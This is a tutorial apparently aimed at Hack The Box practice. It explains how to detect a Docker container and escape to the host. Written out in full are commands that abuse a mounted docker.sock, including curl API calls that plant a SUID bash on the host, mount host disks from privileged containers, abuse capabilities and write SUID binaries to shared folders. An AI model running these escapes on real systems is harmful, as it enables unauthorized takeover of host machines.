Docker container escape: docker.sock and privileged mode

How to tell you are inside a container, what to check and how to break out to the host with docker.sock, --privileged, mounted disks, capabilities or a vulnerable Docker.

· 3 min read

You get a shell, you are root... and there is no flag in /root. Most likely you are inside a container. Being root there is not being root on the machine: you have to get out to the host. This guide covers escaping from the inside; if on the host you belong to the docker or lxd group, that is already in the cron, PATH and groups guide.

Am I in a container?

ls -la /.dockerenv                 # exists in Docker containers
cat /proc/1/cgroup                 # paths mentioning docker, kubepods or containerd
hostname                           # a 12-character hex ID
ps aux | wc -l                     # very few processes
ip a; cat /etc/hosts               # a 172.17.x.x IP and names of other services

If you are in one, look at what is inside before trying to escape: environment variables (env), the application's config files and the network. Containers often hold credentials for the database or another service that do get you onto the host. On Busqueda the passwords are in the containers' environment variables.

The checklist

Check Command If you find...
Docker socket mounted ls -la /var/run/docker.sock /run/docker.sock You control the host's Docker
Privileged container ip link add x type dummy works; ls /dev shows disks (sda, nvme0n1) You mount the host disk
Dangerous capabilities capsh --print or grep Cap /proc/self/status cap_sys_admin, cap_sys_module, cap_dac_read_search, cap_sys_ptrace
Host folders mounted mount, df -h, cat /proc/self/mountinfo You write to them as root
Docker / runc version docker version from the host or the socket A known CVE
Kubernetes ls /var/run/secrets/kubernetes.io/serviceaccount/ A token for the cluster API

The deepce.sh tool runs the whole list at once and also looks for credentials.

Mounted docker.sock

If the socket is inside, you can ask the host's Docker to start another container with the host disk mounted:

# with the docker client (upload a static binary if it is missing)
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host bash

# without a client, talking to the API with curl
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["/bin/sh","-c","chroot /host sh -c \"cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb\""],"HostConfig":{"Binds":["/:/host"]}}' \
  http://localhost/containers/create
curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/<id>/start

Use an image that already exists on the host (the list comes from /images/json), because the box will not have Internet access to pull alpine. The same applies if the Docker API listens over TCP (ports 2375 and 2376): that is the way on MonitorsFour.

Privileged container (--privileged)

A privileged container sees the host's devices. Mount the disk and you are done:

fdisk -l                          # find the host's big partition
mkdir /mnt/h && mount /dev/sda1 /mnt/h
chroot /mnt/h bash                # or write your key to /mnt/h/root/.ssh/authorized_keys

That is what happens on Ready. If fdisk shows no disks but you have cap_sys_admin, the classic technique is the cgroups v1 release_agent: it makes the host run your script when a cgroup empties.

Capabilities

Capability Abuse
cap_sys_admin Mounting, cgroups release_agent, almost the same as privileged
cap_sys_module Loading your own kernel module: code in the host kernel
cap_dac_read_search Reading any host file with open_by_handle_at (the shocker exploit)
cap_sys_ptrace + --pid=host Injecting code into a host process

Folders shared with the host

If a host folder is mounted read-write and you are root in the container, whatever you write is owned by root outside too. The classic trick: copy bash in with SUID and run it as an unprivileged user on the host.

# inside the container (root)
cp /bin/bash /mount/rb && chmod 4755 /mount/rb
# on the host (normal user), at that folder's real path
./rb -p

Make sure the bash is compatible with the host (same architecture and libraries) or copy the host's own one if you can read it.

Vulnerable Docker or runc

  • CVE-2019-5736 (runc): overwrites the host's runc binary from inside the container (TheNotebook).
  • CVE-2021-41091 (Moby): container directories under /var/lib/docker are reachable by unprivileged host users. If you are root in the container and a user on the host, you plant a SUID inside and run it outside (MonitorsTwo).
  • CVE-2024-21626 (runc, Leaky Vessels): a leaked file descriptor gives access to the host filesystem.

If none of this works, keep enumerating as on any Linux box: the sudo, SUID and capabilities guide and the Linux privesc cheat sheet.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Container escape 16 machines

See all 16 machines →

Spotted a mistake or something missing? Tell us